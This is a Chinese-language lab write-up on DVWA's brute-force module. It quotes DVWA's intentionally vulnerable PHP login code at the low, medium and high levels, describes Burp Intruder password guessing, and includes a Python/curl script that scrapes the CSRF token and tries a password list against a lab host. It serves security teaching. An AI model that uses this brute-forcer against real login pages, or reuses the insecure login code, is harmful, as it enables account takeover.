# DVWA Brute Force (教學用)
###### tags: `DVWA`
## low
get 請求
```htmlembedded
<form action="#" method="GET">
Username:<br />
<input type="text" name="username" /><br />
Password:<br />
<input type="password" autocomplete="off" name="password" /><br />
<br />
<input type="submit" value="Login" name="Login" />
</form>
```
BP抓包,放到intruder
password 的ADD 標記,表示說要爆破這裡。
使用sniper mode 假設我們要狙擊 admin 這個用戶。
payload 設置 runtime file
選擇你自己的字典檔。
如果字典夠強大,恭喜成功
### code:
```php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//var_dump($query);
//exit();
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```
沒有防禦。
## medium
### code:
```php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```
sleep( 2 ) 失敗加上 2秒,所以也沒啥用。
## high
```http
GET /vulnerabilities/brute/?username=123&password=123&Login=Login&user_token=5237d2b1f69c69e5695819649ac71df8 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/
Cookie: PHPSESSID=5b3b866450ea4fb9b8cfa16f610a6065; security=high
Upgrade-Insecure-Requests: 1
```
多了 user_token
原本BP 有個好插件 CSRF TOKEN TRACKER 幫我們自動抓token 不過不知道更新到哪個版本,不能用了。
那麼自己幹一個爬蟲吧。試過 js 無法抓不同域的東西。
### bf.py:
我這邊偷懶,不想用 python 的 urllib 庫,我用curl 工具來抓。
關於curl 的命令生成,我建議用postman 去自動生成,不然太累了。
```
import os
import re
pwd_list = ['admin','123','666','777','111']
for pwd in pwd_list:
host = "http://192.168.43.96/vulnerabilities/brute/"
username = "?username=admin"
password = "&password="
login="&Login=Login"
user_token="&user_token="
# cmd execute curl and get token
#############################################
cmd = "curl -s --location --request GET " + host + " --header 'Cookie: PHPSESSID=5b3b866450ea4fb9b8cfa16f610a6065; security=high' "
cmd_result = os.popen(cmd)
pattern = "(?<=user_token\' value=\')\w*"
#re.findall return a list
regex_result = re.findall(pattern , cmd_result.read())
token = ''.join(regex_result)
#############################################
password += pwd
user_token += token
url = host + username + password + login + user_token
url ="'" + url + "'"
#final request
cmd2 = "curl -s --location --request GET " + url + " --header 'Cookie: PHPSESSID=5b3b866450ea4fb9b8cfa16f610a6065; security=high' "
cmd2_result = os.popen(cmd2)
#成功登入會有以下字串
key_word = "Welcome to the password protected area admin"
#搜索字串
find_result = cmd2_result.read().find(key_word)
#有找到就顯示密碼
if(find_result != -1):
print("password found: "+pwd)
```
### code:
```php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
防禦手段:
sleep( rand( 0, 3 ) )
token
## impossible
code 關鍵點。
```
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
```
3次失敗,鎖15分鐘